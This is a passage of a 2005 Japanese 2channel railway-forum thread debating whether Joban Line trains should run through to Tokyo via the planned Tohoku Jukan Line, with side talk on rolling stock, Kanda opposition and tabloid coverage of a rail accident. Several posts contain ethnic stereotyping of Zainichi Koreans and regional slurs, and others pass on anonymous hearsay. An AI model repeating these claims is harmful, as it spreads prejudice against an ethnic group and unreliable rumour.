このスレで、たまに常厨的やり取りがパッタリ途切れる時があるのは、
やっぱりごく少数の厨による書き込みが火種になるからなのかな?
だとすれば、さほど常磐線利用者の間で縦貫線非直通が悲観的話題になっていない
っていう話も一つの見方かもと思う。

727 :名無し野電車区:2005/05/14(土) 11:43:07 ID:DNXA9M4R
>>727
むしろ縦貫線直通への確信を強めたからでは?

728 :名無し野電車区:2005/05/14(土) 11:44:20 ID:pqqKvmj/
>>727
自己紹介乙w

729 :名無し野電車区:2005/05/14(土) 11:53:05 ID:HlnBMaUp
TX開業がでかいよね。
常磐厨にしたら期待要素だし、高崎東北厨にしたら不安要素だし。
まぁ東海道側からすればどうでもいいことだね。

730 :名無し野電車区:2005/05/14(土) 11:56:58 ID:SGkyMVoq
常磐快速線を東京乗り入れするくらいなら緩行線の本数増やせ

731 :名無し野電車区:2005/05/14(土) 13:59:25 ID:o3u0mUwJ
>>722
現に武蔵野線が東京駅の京葉ホームに乗入れてるわけだが...

時間が余計にかかったりするということはないかな。
直通列車は、武蔵野線内ノンストップにすればいいのかな?

732 :名無し野電車区:2005/05/14(土) 14:12:26 ID:mgyqrJnF
>>731
今は常磐線から武蔵野線へは、南越谷方向だけで
西船橋方向へはスルー出来ないでしょ。
スイッチバックは時間がかかる。
武蔵野線内ノンストップしても高が知れてると思うが。

733 :名無し野電車区:2005/05/14(土) 14:13:35 ID:/oNqPJZP
>>731
それ以前に朝ラッシュ時は市川塩浜〜東京に割り込めないと思う。

734 :名無し野電車区:2005/05/14(土) 14:37:11 ID:o3u0mUwJ
武蔵野線直通というのは、解決策としてあまりメリットがなさそう
ということかな。

735 :名無し野電車区:2005/05/14(土) 14:43:12 ID:MtNYcO1w
ゆか、8連対応で精一杯の武蔵野線内では
15連は必然的にノンストップ

736 :名無し野電車区:2005/05/14(土) 14:46:41 ID:o3u0mUwJ
15連だと京葉線の設備も対応していないね。

737 :名無し野電車区:2005/05/14(土) 20:36:44 ID:KZLfN/Us
まあ普通に考えたら常磐線の東京乗入れは縦貫線経由だろう。

738 :名無し野電車区:2005/05/14(土) 23:20:44 ID:vAvHrk7c
発想を転換し、南浦和あたりで宇都宮線高崎線を武蔵野線に入れ、
武蔵野線経由で東京直通というのはどうか?

739 :名無し野電車区:2005/05/14(土) 23:22:28 ID:itNZcEV0
× 発想
○ 妄想

740 :名無し野電車区:2005/05/14(土) 23:31:11 ID:WdjGEl0s
南浦和にクレーンを設置して武蔵野線まで引き上げる妄想。

741 :名無し野電車区:2005/05/15(日) 01:55:22 ID:PgSRuXV6
>>738
面白いと言えば面白いね

742 :名無し野電車区:2005/05/15(日) 02:51:06 ID:ZXFgOxcA
売上が全てに優先する西だったら常磐線の乗入れを基本にしてTXに対抗するのでは?

743 :名無し野電車区:2005/05/15(日) 08:25:27 ID:Rjs4OW4P
>>742
確かに、特急乗り入れ限定にして売り上げ増を狙うだろうな。

744 :名無し野電車区:2005/05/15(日) 08:34:57 ID:AkvEyDXT
大宮から西浦和〜武蔵浦和間に直通線が走ってるのに
わざわざ南浦和から武蔵野線に入れる発想が面白いね。

745 :名無し野電車区:2005/05/15(日) 09:46:17 ID:p7+zAxWI
× 発想
○ 妄想


746 :名無し野電車区:2005/05/15(日) 09:55:07 ID:1Oc7Fdue
貨物線経由なら念願の浦和通過も実現できて一石二鳥。
しかし大宮〜分岐点の線路容量がえらいことになりそうだ。

747 :名無し野電車区:2005/05/15(日) 10:14:47 ID:AaI/F/8X
>>746
浦和停車も時間の問題だけどな。

748 :名無し野電車区:2005/05/15(日) 12:31:53 ID:JkasnTHe
武蔵野線経由にすると所要時間かかりすぎ。
しかも武蔵野線内では客扱いできない。
貨物と旅客が走る武蔵野線に割り込む余地も少なかろう。

749 :名無し野電車区:2005/05/15(日) 12:45:28 ID:naF4pVSp
>>747
武蔵野貨物線が通ってもいない浦和にどうやったら止まるんだろう?w

750 :名無し野電車区:2005/05/15(日) 13:15:45 ID:aIg1BhwE
それより、常磐線をどうやって新宿まで乗り入れさせるかだ。

751 :名無し野電車区:2005/05/15(日) 13:46:51 ID:b4ALjRhM
>>749
746-747の「貨物線」は東北貨物かと。

752 :名無し野電車区:2005/05/15(日) 13:48:25 ID:8yX+FzM7
>>749
浦和を通っているのは「武蔵野貨物線」なんかじゃないんですけど。
話の流れが読めてないようですねw

753 :名無し野電車区:2005/05/15(日) 13:56:01 ID:TjzGqVeO
どっから東北貨物線の話になってるんだ?
>>747>>752だけが話の流れ読めてないような気がしてならんのだが。

754 :名無し野電車区:2005/05/15(日) 14:01:55 ID:AaI/F/8X
>>753
>>738>>744>>746>>747>>748
の順に読んでみな。

755 :名無し野電車区:2005/05/15(日) 15:50:59 ID:naF4pVSp
なぜか>>744の現実から目をそらしている痛い香具師が多い件について(w。
所詮常磐厨の東北高崎枠を減らそうとする工作なんだろうけど。

756 :名無し野電車区:2005/05/15(日) 16:16:28 ID:BHAWE2B8
縦貫線スレで武蔵野貨物線を話題にする常磐厨が湧いている件について。

757 :名無し野電車区:2005/05/15(日) 16:32:49 ID:fBg4a/k4
「〜の件について。」
という書き込みの後に限って、必ずレスが続かない件について。

758 :名無し野電車区:2005/05/15(日) 18:07:30 ID:1Oc7Fdue
東郷 健について(;´Д`)

759 :名無し野電車区:2005/05/15(日) 18:56:48 ID:TSaZjdKm
ドクター中松について(;´Д`)

760 :名無し野電車区:2005/05/15(日) 19:25:05 ID:ZhIpXITr
もし常磐線が東海道線に入ってきてみろ。
E531を横須賀線と間違えるバ神奈川塵が大船や戸塚や横浜で頻出する。
バ神奈川塵を惑わせないために常磐線は東海道線に入れてはならない。

761 :名無し野電車区:2005/05/15(日) 19:30:44 ID:tC0N794/
なるほど。
偽善都市糞ギコハメでは自己責任という単語が通じませんからねえ。

762 :名無し野電車区:2005/05/15(日) 19:42:06 ID:aIg1BhwE
常磐線を品川経由で新宿に行かせるか、
相模鉄道と相互運用して池袋経由で行くか
難しいところ。

763 :名無し野電車区:2005/05/15(日) 20:22:26 ID:j1z4tD4x
>>762
常磐線は高崎・上越・信越線経由、新潟で万景峰号に積み込み(ry

764 :名無し野電車区:2005/05/15(日) 20:36:56 ID:tC0N794/
酒臭い相鉄って想像が付かんw

765 :久喜住民:2005/05/15(日) 21:03:58 ID:5V9/ul3F
>>763
かの国直通キタ━━━━━━(゚∀゚)━━━━━━ !!!!!

766 :名無し野電車区:2005/05/15(日) 23:44:11 ID:+09GS6sT
>>756
東北高崎厨が常磐を武蔵野に廻そうとしたんジャマイカ

まぁ、どーでもいいがな(^ω^;

767 :名無し野電車区:2005/05/16(月) 01:57:10 ID:tWGSFQrq
つか、大宮発武蔵野線経由、成田線成田空港行きを作った方がまだマシだな
こういうの作ればいいのにね

768 :名無し野電車区:2005/05/16(月) 11:06:58 ID:8TN1KYlq
>>767
禿堂。
大宮⇔柏の便も飛躍的に良くなる。
束式も野田線ダービーのポスターまで作ってしまった以上、準急新設で対抗せざるを得なくなるだろう。


769 :名無し野電車区:2005/05/16(月) 11:41:37 ID:izmSWq9r
夕べちょっと小耳に、遅延整理業務に携わってたひとから。縦貫線に
常磐まで入ると遅れが出た時やってられないね〜と、池袋の湘新と埼京の
一番ひどい時を整理していた方の現場からコメントです。現場の声ッて
どのくらい反映するんだろ。

770 :名無し野電車区:2005/05/16(月) 13:07:05 ID:muoElj15
>>769
遅延整理業務に携わってるひとは、
それが仕事とちゃうの?
やってられないね〜と言う奴は、
JR酉のアホと考え方が一緒と言ってやれよ。
束の幹部もそう言うと思うよ。




771 :KQ:2005/05/16(月) 15:05:40 ID:8TN1KYlq
|∀゚)酉も束も運転整理は五十歩百歩じゃろうて

772 :名無し野電車区:2005/05/16(月) 17:59:03 ID:mm25wqyh
>>770
その現場を分かってても無理させる幹部だから、
あんなことになっちゃったんじゃ?仕事なら何でもってのは
変だべ!ポイントちがうんじゃない?

773 :名無し野電車区:2005/05/16(月) 18:21:24 ID:4CMNp4/W
>>772
あんな時間に書き込むヒッキーニートは放置汁

774 :名無し野電車区:2005/05/16(月) 19:15:14 ID:muoElj15
そもそも遅延整理業務が一番大変なのは、
埼京・川越・東北・高崎・横須賀・総武快速・NEX・りんかい線じゃないの。
たかが、東北・高崎・常磐・東海道ぐらいで遅延整理が
大変になるわけがない。
もっと良いのは、東北・高崎はすべて上野止にして、
常磐・東海道のみ直通にすれば遅延整理業務が楽だね。

775 :名無し野電車区:2005/05/16(月) 20:25:59 ID:nGjYxqRD
>>774
沿線住民の民度が同じくらいのレベルで直通運転か・・・ニヤニヤ

776 :名無し野電車区:2005/05/16(月) 20:43:04 ID:eatgA6C+
三ツ沢のゴール裏はビールの売り子がしつこいほど回ってくるそうだ。
しかし地元サポはそれが当然・当たり前ときたもんだ。
常磐線沿線同様、酒飲みにしか市民権が認められていないのが東海道沿線。

777 :名無し野電車区:2005/05/16(月) 20:57:07 ID:doHIA2CE
>>774
そーだっぺ、だから、俺が、初めから言ってたっぺよ!

778 :名無し野電車区:2005/05/16(月) 22:08:11 ID:8njb9sLt
みなさんもなんとなくお気づきと思いますが、
JR東で遅延整理業務を担当する社員はレベルが低いと言わざるを得ない。
以前関係者より聞いた話では「あんなのが運転整理してるんだから
ちっとも遅延が回復しないのは当然。運転整理の現場を見れば(遅延がなかなか
回復しないのは)なるほど当然と思う」とのこと。
その人たちからすれば、当然、
「縦貫線に常磐まで入ると遅れが出た時やってられないね〜」となるだろう。

779 :名無し野電車区:2005/05/16(月) 23:09:05 ID:t9SLJIzi
ネタってまず間違いなく誰だかわからない関係者が出てくるんだよな。

780 :名無し野電車区:2005/05/17(火) 18:53:44 ID:mPWCDjyY
>>779
束なら有り得る話だけどな。

781 :名無し野電車区:2005/05/17(火) 19:42:31 ID:r3Hba/1m
>>779
2ちゃんねる鉄道路線車両板関係者、だろw

782 :名無し野電車区:2005/05/17(火) 20:41:01 ID:amvd8SrA
田舎茨城県民の皆さん。これで大都市静岡まで一直線!

常磐静岡ライン
http://hobby7.2ch.net/test/read.cgi/rail/1116329488/


783 :名無し野電車区:2005/05/17(火) 21:14:46 ID:q1c46uRO
実は>>779>>781が本当の関係者だったりして。

784 :名無し野電車区:2005/05/18(水) 06:39:57 ID:kLU1Ctcd
千代田線に乗り入れることになったロマンスカーを
常磐線に乗り入れるよう誘致すればいいじゃん。
大手町を通るんだし、常磐線特急の東京駅乗り入れもこれならいらねえだろうよ。

785 :名無し野電車区:2005/05/18(水) 09:39:57 ID:U84tRsga
>>784
運用数が増えるから、ロマンスカーを増備しないと駄目だな。

786 :名無し野電車区:2005/05/18(水) 09:44:01 ID:WcVHyopW
>>785
地下鉄乗り入れようのロマンスカーを作るという話。

787 :名無し野電車区:2005/05/18(水) 12:27:57 ID:H7k0eIrY
>>784
短距離しか見えない馬鹿発言ですね。
ロマンスカー引っ張ってきても取手が限界だろバーカ。

788 :名無し野電車区:2005/05/18(水) 14:14:37 ID:0tETATb6
取手から先?
そっちのほうに何かありますか?

789 :名無し野電車区:2005/05/18(水) 14:37:51 ID:WcVHyopW
常磐小田急ライン特急ロマンスカーをご利用いただきありがとうございます。
停車駅は(ry
ロマンスカーはすれ違いです。

790 :名無し野電車区:2005/05/18(水) 14:47:00 ID:y01l76kl
>>788
縦貫スレ初心者だな?
取手から茨城側は、地磁気観測所がある関係上、交流電化区間になっているのだ!
直流電化では、地磁気が乱れるというのが理由だ。

ロマンスカーは直流仕様だ。

791 :名無し野電車区:2005/05/18(水) 15:07:19 ID:WcVHyopW
>>786を読みましょう

792 :名無し野電車区:2005/05/18(水) 15:38:57 ID:EOagZX9x
取手でなく、成田空港に伸ばせばいいんじゃない^^

793 :名無し野電車区:2005/05/18(水) 16:02:33 ID:GOYYsIAq
新宿からねっくそをご利用ください。



794 :名無し野電車区:2005/05/18(水) 17:37:16 ID:a0ZTUvFY
でも、今のJRなら有り得なくも... > NEXが小田急へ

795 :名無し野電車区:2005/05/18(水) 17:48:30 ID:Pfk2UKKR
明日発売の週刊誌【週刊新潮】5月26日号より

⇒大特集:JR福知山線脱線事故の「重い後遺症」
・「3億円出せ」「寿司代つけ回し」という遺族
・「自殺者」がいつ出るかJR遺族担当「残酷物語」
・「補償金狙い」で今も増え続ける「怪しい負傷者」
・事故傍観「車掌」は共犯容疑で「逮捕間近」か
・「中学の同級生」だった高見運転士の「23歳婚約者」
・運転士は「鬱病」と記者会見した「ヘンな医師」
・「衝突マンション」買い取りで「慰謝料上乗せ」交渉
・読売「ヒゲの(竹村文之)記者」だけではなかった「NHK傲慢記者」
・坂口「BSE」北側「脱線」縁起が悪い「学会デージン」

ttp://www.shinchosha.co.jp/shukanshincho/index.html


796 :名無し野電車区:2005/05/18(水) 20:35:12 ID:R5PQnsoI
>>790
取手でおしまいだろ?常磐線はw

797 :名無し野電車区:2005/05/18(水) 21:59:30 ID:cbodMJGQ
常磐ネタはもういい。

798 :名無し野電車区:2005/05/18(水) 22:25:14 ID:+0VO3B6E
>>795
元々、右翼的体質のある新潮社の週刊誌ということもあり、
JR西の日勤教育を暴露した社員の多くが会社と対立する少数派組合の所属だったので、
相当に会社寄りの報道にシフトしてきたな。

799 :名無し野電車区:2005/05/18(水) 22:33:48 ID:Xko6UPHM
>>798
文春モナー

800 :名無し野電車区:2005/05/18(水) 22:35:33 ID:/HHISiFc
嘘800の搾来で〜す!

801 :名無し野電車区:2005/05/19(木) 01:47:40 ID:+WsxywrE
週刊誌だと文春と新潮が、組合&高見運転士叩き、会社&日勤教育擁護になってきた。

802 :名無し野電車区:2005/05/19(木) 02:11:34 ID:Axi7ymyI
明日発売の週刊誌【週刊文春】5月26日号より

⇒総力取材第2弾・JR脱線事故「悲劇の陰で…」
@読売「ヒゲ(竹村文之)記者」より悪質だとヒンシュクを買った記者の社名(=JOBK)

A北側大臣 超強気の背後に「関西創価学園駅」構想 ←※

B乗客急増 阪急電鉄がJR西日本に抱いた"阪神大震災以来の「恨み」 "
C生存者たちの嘆き「生き残ってしまった罪悪感が消えない」
Dマンション代表が浴びた「6万円ステーキ」の誹謗中傷

ttp://www.bunshun.co.jp/mag/shukanbunshun/


※創化学園駅を無視して、東住道を候補に上げたのがよほど気に入らなかったのか?

803 :名無し野電車区:2005/05/19(木) 02:25:02 ID:Q4bPX1ck
いつも思うことだが、
文春、新潮のバランス感覚は素晴らしい


804 :名無し野電車区:2005/05/19(木) 12:22:35 ID:LJZT4p9Z
もまいら週刊新潮のCM覚えてるか?

「週刊新潮は きょう発売されます」
♪ズチャチャーンチャタャララララン…←夕焼け小焼け


805 :名無し野電車区:2005/05/19(木) 19:30:17 ID:E6CfCgTN
常磐快速線の一部を、代々木上原まで直通させればいいんじゃないの?
縦貫線なんかに入れないで。

806 :名無し野電車区:2005/05/19(木) 20:01:16 ID:upjcnpat
ちょっと質問!
東海道線の211系は10両+5両?11両+4両?
縦貫線完成時には211系が全てE231系になるという可能性ってあるかな?


807 :名無し野電車区:2005/05/19(木) 21:46:47 ID:UXkVJyVQ
>東海道線の211系は10両+5両?11両+4両?

10+5

>縦貫線完成時には211系が全てE231系になるという可能性ってあるかな?

まずない。211系のままか、231系の後継車だろう。

808 :名無し野電車区:2005/05/19(木) 22:10:43 ID:oYFrFMRO
>>797
何でも欲しがる常磐、、、、厨。

809 :名無し野電車区:2005/05/19(木) 23:10:21 ID:upjcnpat
>>807
ありがとうございます。
211系は133系や135系の置き換え地域に転属されるのかなと思ってた。
ちょっと房総方面の未更新車の置き換えが気になっていたもので。

810 :名無し野電車区:2005/05/19(木) 23:17:21 ID:nXbbtWXX
133系や135系>???

811 :名無し野電車区:2005/05/20(金) 10:55:13 ID:yplX03f5
>縦貫線完成時には211系が全てE231系になるという可能性ってあるかな?

231系の分は231系でしょう。
ただ、211系の分は、211系が引き続き運行するか、231系の後継車になっているか、
微妙なところ。
首都圏周辺に残る113系や115系を211系に置き換えるタイミングとも関係する。

812 :名無し野電車区:2005/05/21(土) 05:44:57 ID:i5zoUcvI
着工促進!

813 :名無し野電車区:2005/05/21(土) 08:01:45 ID:uNk9qa/i
つーか、着工する気配が全くないんだが・・・?
漏れの気のせいか?

814 :名無し野電車区:2005/05/21(土) 08:59:36 ID:zvhYLGcQ
>>813
あの程度の工事なら最長1年半くらいでしょ。だからあわてて着工するわけないし、
作業の詳細計画を設定中と思われ。

815 :名無し野電車区:2005/05/21(土) 09:35:40 ID:ry9ThVcv
>>814
さすがに1年半では無理。相当な突貫工事になる。
年明けにも着工する予定ではあるが、神田地区の問題が未解決なので、
それ次第では着工や完成が遅れることも有り得る。

816 :名無し野電車区:2005/05/21(土) 10:37:58 ID:jjo8dNZY
神田はマジでいい加減にしろよ
こいつらのせいで山手線が混んでいるといっても間違いないし
サラ金の町の分際でギャーギャー騒ぐな
サラ金なだけに893みたいな連中が反対運動指揮してるのか

817 :名無し野電車区:2005/05/21(土) 12:24:30 ID:iAhExvxe
大塚社長「あの反対運動は、純粋な住民が出したものではない。
右翼だ。バックに暴力団が付いている。JRに対する嫌がらせだ。
金を脅し取ろうとしている。払うものか。警察とも連絡を取った。
ああいうことが続くなら、裁判にまでいったっていい」

818 :名無し野電車区:2005/05/21(土) 12:39:52 ID:rFUedx7H
>>818
 神田に縦貫線のホームを造れば、みんな尻尾を振って大賛成するかもな。
ホームを造っても止まるとは限らんが。

819 :818:2005/05/21(土) 12:40:32 ID:rFUedx7H
>>818は不要ですた

820 :名無し野電車区:2005/05/21(土) 12:43:02 ID:yzXDhIkn
こうこうのをゴネ得という。

821 :名無し野電車区:2005/05/21(土) 14:39:31 ID:CeMxRJlL
だから京浜東北のホームを撤去しろと(ry

822 :名無し野電車区:2005/05/21(土) 14:53:07 ID:NPVWibZb
中央線もホーム要らないし、山手線だけ止めればいいよね。
それで宇都宮・高崎線と常磐線で複々線増設。
従って3路線のすべての列車が東京までは行きます。
第一、神田に「住民」なんているの?

宇都宮・高崎・常磐線沿線住民で東京以南に通勤する人>>>>>>>>>>神田の「住民」

823 :名無し野電車区:2005/05/21(土) 16:53:10 ID:mClu/lx0
801 :名無し野電車区 :2005/05/21(土) 09:48:36 ID:IuVAD74V
縦貫線ができると、新宿経由の籠原行きと東京経由の籠原行きができるから、
紛らわしいからやめてもらいたい。バスじゃないんだから。
東北線や高崎線への直通はラインに任せて、
縦貫線側は常磐線直通でもいいかもしれない。
140kw/hモーターで130km/h運転のE531系が東海道線に乗り入れるのも悪くない。
G車をつけてもらう必要はあるが。


824 :名無し野電車区:2005/05/21(土) 16:58:17 ID:C5/nPuCp
kW/hって…

825 :名無し野電車区:2005/05/21(土) 17:31:12 ID:LPXuVqUQ
>>816-822
無理して縦貫つくらなくていいよ。東海道族にはメリットないから。
神田住民には一層の反対運動盛り上がりを期待するわけだが。

826 :名無し野電車区:2005/05/21(土) 17:36:01 ID:t/qEM1Wp
つくばエクスプレスを本気で意識ていてるんなら、
常磐線の東京乗り入れは必要だよな。
けど、南側への乗り入れは、せいぜい品川までにしてくれ。

東北高崎線からは、今までどおり新宿回りでいいと思う。
新宿の方が便利だから。千葉茨城人は、オノボリさんが多いから、
東京の方が喜ばれる。

827 :名無し野電車区:2005/05/21(土) 17:42:57 ID:k6vq8D9w
>>822
住民というより地権者、ビル所有者、商店主など。

...私見だが、この辺りも再開発した方が良いと思うのだが。

828 :名無し野電車区:2005/05/21(土) 18:43:42 ID:IAlBVqbZ
>>824
一時間定格という意味じゃないの?

829 :名無し野電車区:2005/05/21(土) 19:05:24 ID:3UlfWJCG
>>827
確かにあの辺にあるビルは一回丸ごと潰したほうがいい
>地権者、ビル所有者
こいつらサラ金にばっかビル貸してるような民度の低い連中だろ
ある意味では売国奴(サラ金は在日が多いらしい)
公共性の高いJRはこんな最下層の商売手助けしてる香具師に負けないよう

830 :名無し野電車区:2005/05/21(土) 19:18:39 ID:oxirI08e
>>829
サラ金は経済ヤクザが背後にいる場合がある。
その場合はJRにも面倒なことになる。
経済ヤクザが直接やる場合は、ヤミ金融が多い。
在日はヤミ送金をやることが多い。サラ金はあまりやらない。
神田は経済ヤクザが多い。在日は少ない。
在日ヤミ送金は上野や大久保に行けば結構ある。

831 :名無し野電車区:2005/05/21(土) 20:04:32 ID:Az57qL3L
>>829
>確かにあの辺にあるビルは一回丸ごと潰したほうがいい
誰がやるんだよ?おまえがやるか?
少し常識磨けや。

832 :名無し野電車区:2005/05/21(土) 20:26:01 ID:Fz5OcZ5V
新幹線の上に電車を通すことに対して、どういう理由で反対しているのか
教えてほしい。

833 :名無し野電車区:2005/05/21(土) 21:12:20 ID:Z7xtIj3F
>>832
「日が当らなくなるから」というのが理由らしい、ただあそこの辺りは商業地だし向きからいって
日当たりがそこまで影響しないと思う。ただポスターの通りになったらちょっと圧迫感はあると思う
ただあのポスターのようにはならないと思うけど

神田を毎日使っているけど反対運動って言っても共産党のポスターがちょっと有るぐらいだし
反対運動が盛んなわけでもない


834 :名無し野電車区:2005/05/21(土) 21:15:33 ID:Fz5OcZ5V
実際、神田で降りる多くの人が高崎線や宇都宮線を利用しているだろうな。
商業地で日照権といっても・・・
側道的なものはあるし

835 :名無し野電車区:2005/05/21(土) 22:46:30 ID:k9agl7Cx
ピクトリアル7月号122ページ

「2009(平成21)年の完成を目指して上野―東京間に複線を新設して
宇都宮・高崎線、常磐線を東京まで直通させて東海道線との直通運転を
実施する計画である。」

含みのある言い方だ。

836 :名無し野電車区:2005/05/21(土) 22:57:45 ID:OStFLYC8
>>835
つくばエクスプレスに対抗して東海道ー常磐の可能性はないかね?

837 :名無し野電車区:2005/05/21(土) 23:24:51 ID:TKVDhN4H
>>836
高価な交直流電車を増備できるかという点が問題になるだろうな。

838 :名無し野電車区:2005/05/21(土) 23:47:59 ID:aqW49xmo
常磐線が上野発着ならTXを使うが、
東京乗り入れれば、常磐線を使う人がどれだけいるかだよ。

そういう人が多ければ、多少の費用(交直流電車配備等)がかさんでも、
常磐線の東京乗りいれする価値はある(費用対効果)。

だが上記みたいな人、多いとは思えんが。

839 :名無し野電車区:2005/05/21(土) 23:51:09 ID:aeSYpLp/
>>837
高いとされてたM車の比率は6M9Tだし、
車体は走るんです仕様、もう高価とは胃炎。

840 :名無し野電車区:2005/05/21(土) 23:52:14 ID:k6vq8D9w
>>837
そこでDC15連をもって補う。

久留里線や八高北線あたりを電化してDCかき集めて...スレ違い妄想、失敬。


841 :名無し野電車区:2005/05/22(日) 00:34:43 ID:L1IxfXqk
品川〜川崎〜横浜:工場地帯
東京〜品川:企業本社・国家機関集中地帯
上野:動物園と東大以外何かある?

これじゃあ東京以南直通を欲しがるわけだ。

842 :名無し野電車区:2005/05/22(日) 00:41:06 ID:xR8WWGor
>>838
東海道新幹線に乗り換えるときに便利。乗換えが一回減る。
TXじゃ乗換えが多い上、特に秋葉原は地下から地上の高架まで移動するから
大変になると思われる。

843 :名無し野電車区:2005/05/22(日) 02:14:06 ID:heqxQ615
まあアレだな、どうしても話題が常磐ループになる理由は
表立った計画の進捗が見られない、要するにネタが無いということなんだな(w

844 :名無し野電車区:2005/05/22(日) 03:25:01 ID:Wzxy/lLB
E531はE231よりも少し割高で済むみたい。
T車はE231とそんなに変わらず、M車は2割ほど高いそうだ。
よく分からないけど、インバーターの進歩とかで、
以前なら交流、直流で別々にしなければいけなかった電気系統が
ある程度共通化されたからだそうだ。
以前のように、交直流のM車が直流のM車の1.5倍もすることはないみたい。

845 :名無し野電車区:2005/05/22(日) 06:36:57 ID:VdgSs0oN
交直流車の価格差で具体的なレスを初めて見た。

846 :名無し野電車区:2005/05/22(日) 06:59:35 ID:2p0sE7l+
たとえ常磐線が東京乗り入れしても、
バス→常磐線 vs 徒歩→TXなら、後者が優勢だろう。
常磐線は乗客が減った分減量ダイヤにすればいい。


847 :名無し野電車区:2005/05/22(日) 08:53:26 ID:L1IxfXqk
>>846
減量するぐらいならば特急増やす罠。

848 :名無し野電車区:2005/05/22(日) 09:41:29 ID:T4gwEWg5
ちょっと落ち着くとどっからともなく湧いてくる常磐厨ウザー

849 :名無し野電車区:2005/05/22(日) 10:16:32 ID:mwRzBB1Y
>たとえ常磐線が東京乗り入れしても、
>バス→常磐線 vs 徒歩→TXなら、後者が優勢だろう。

バス→常磐線vsバス→TXの地域で、東京直通でTXから奪うんだよ。

850 :名無し野電車区:2005/05/22(日) 10:53:39 ID:2p0sE7l+
>バス→常磐線vsバス→TXの地域で、東京直通でTXから奪うんだよ。
そんな辺鄙なところの住人のために東北縦貫線があるわけではない。

851 :名無し野電車区:2005/05/22(日) 11:05:17 ID:OV3fkTou
>>850
「縦貫線は埼玉県のものだ」ってか?サイタマ人

852 :名無し野電車区:2005/05/22(日) 11:12:17 ID:NfVN+cMM
>>バス→常磐線vsバス→TXの地域で、東京直通でTXから奪うんだよ。
>そんな辺鄙なところの住人のために東北縦貫線があるわけではない。

すると縦貫線開通後に東北高崎線で東京・品川方面に直通するやつは
皆駅から徒歩10分くらいに住んでいるのか?

853 :名無し野電車区:2005/05/22(日) 11:13:35 ID:2p0sE7l+
>>851
少なくとも茨城よりは優先でお願いしたいね。
TXで便利になるんだろう?

854 :名無し野電車区:2005/05/22(日) 11:17:58 ID:P8lv3/cG
常磐乗入反対厨って、本当にろくなレスしないな。
やれ、特急を増発すれば120億円の減収を補えるとか、
やれ、上野行の特快でTX対策は十分とか、
挙句の果てには武蔵野線・京葉線で東京直通とか。
ふざけて書き込んだいるだけ、というのは分かってはいるが、
それにしても内容が幼稚だ。

855 :名無し野電車区:2005/05/22(日) 11:19:16 ID:2p0sE7l+
折角できるTXだ。いっぱい乗ってあげないと、埼玉高速鉄道みたい
になって困るでしょう。

856 :名無し野電車区:2005/05/22(日) 11:19:30 ID:1YkleuSJ
>850
それを言うなら
バス→東北線 バス→高崎線のために東北縦貫線があるわけでもない。
ほんと自分の言ってるバカ度に気が付いていない。

束はTXに流出する客を取り戻そうと考えるのは当然のこと。


857 :名無し野電車区:2005/05/22(日) 11:20:25 ID:7WnHavli
常磐特急は湯島でロマンスカー接続

858 :名無し野電車区:2005/05/22(日) 11:22:27 ID:2p0sE7l+
>>856
東北縦貫線を利用するのは大宮以北人とは限りませんよ。
南浦和〜川口利用者も赤羽からわんさと乗り込んでくるようになります。
もちろん埼京線利用者もね。


859 :名無し野電車区:2005/05/22(日) 11:28:23 ID:6WRe+O7V
>>842
確かに、乗換が1回減り便利になるとは思う。
だが、それだけでTXから常磐線に流れてくるとは思えんけど。

TXと常磐線、同じ区間を平行して走ってるのであれば、話は別だが。

東京乗りいれするしないに関係なく、常磐線を使おうと思ってる人は常磐線、
TXを使おうと思ってる人はTXだと思うが

860 :名無し野電車区:2005/05/22(日) 11:29:33 ID:1YkleuSJ
>858
それを言うなら、東北縦貫線を利用するのは取手以北の人とは限らない。
天王台〜北松戸利用者も柏・松戸からわんさと乗り込んでくるようになります。
もちろん新京成線利用者もね。

ほんと自分の言ってるバカ度がまだわかってない。

861 :名無し野電車区:2005/05/22(日) 11:33:37 ID:2p0sE7l+
>東京乗りいれするしないに関係なく、常磐線を使おうと思ってる人は常磐線、
TXを使おうと思ってる人はTXだと思うが

その通り。
東京乗り入れしたところで120億の減収をどれだけリカバーできるかも
不透明だし。

862 :名無し野電車区:2005/05/22(日) 11:38:01 ID:2p0sE7l+
そもそもG車なしのE531を140両新造する計画自体が、行く末を
物語っているのではないか?

863 :名無し野電車区:2005/05/22(日) 11:40:27 ID:zdrNc2+U
ていうか、120億も減収するほど、TXに流れるかも疑問。

864 :名無し野電車区:2005/05/22(日) 11:42:29 ID:1YkleuSJ
>861
東京乗りいれするしないに関係なく、東北・高崎線を使おうと思ってる人は
それを使うだろうから。東北・高崎線だけ東京乗り入れしたところで120億の減収は
リカバーできない。

865 :名無し野電車区:2005/05/22(日) 11:47:18 ID:1YkleuSJ
>862
そもそも東北・高崎線はG車なしだったんとちゃうか?
いまでも100%じゃないし。


866 :名無し野電車区:2005/05/22(日) 11:59:53 ID:6WRe+O7V
>>864
常磐乗りいれは、コストがかかる
それをペイするぐらいTXから客を持ってこないと費用対効果でボツ。

常磐の乗り入れする為には
東京乗りいれによる効果で、上野発着ならTX利用と決め込んでた人を、
常磐利用に変える人が多数いなければならない(常磐線乗りいれのコスト高を吸収する為には)

東北高崎の乗りいれは、コストが膨らむわけではないから、問題はない。

867 :名無し野電車区:2005/05/22(日) 12:07:06 ID:2p0sE7l+
まずTXを軌道に乗せることを考えたらどうだ。
1人目の子供が生まれる前に2人目の子供の名前考えているような
もんだな。

868 :名無し野電車区:2005/05/22(日) 12:10:32 ID:L1IxfXqk
>>862
そもそも下り待避線の無い土浦での長時間停車を強いてまで増結車を水戸寄りに持って来る事自体、
宇都宮・高崎・東海道との所要統一による直通運転実現を目指している以外何者でもないと思うのだが。
実現できるかどうかは別として。

>>854
そのうちヤマダvsコジマvsK’s対決に発展するんじゃない?w

869 :名無し野電車区:2005/05/22(日) 12:20:07 ID:eHqDWHX+
どっちに乗り入れるのが得かはわからないけど、
少なくとも言えることは

常磐沿線の自治体の香具師(議員、首長)はがんばってる

ってこと。
ニュースになってるだけでもあれだけ陳情繰り返してるんだから。

東北・高崎沿線の自治体の香具師ももっとがんがれ。
もまいらも、ここに書いてる暇があったらメール汁。

870 :名無し野電車区:2005/05/22(日) 12:21:40 ID:1YkleuSJ
>866
>東北高崎の乗りいれは、コストが膨らむわけではないから、問題はない。

そもそも縦貫線建設費300億円はどなたが出すんでしょうか?
そして何もしなければさらに毎年120億円の減収・・・・

871 :名無し野電車区:2005/05/22(日) 12:25:21 ID:/ppN5N6q
>>868
常磐線の東京乗り入れは特急だけらしい。
普通列車は上野どまり。

872 :名無し野電車区:2005/05/22(日) 12:36:31 ID:9Nbqooyu
>>860
縦貫線使おうと思ってる天王台〜北松戸利用者は既に千代田線使ってそうだが。


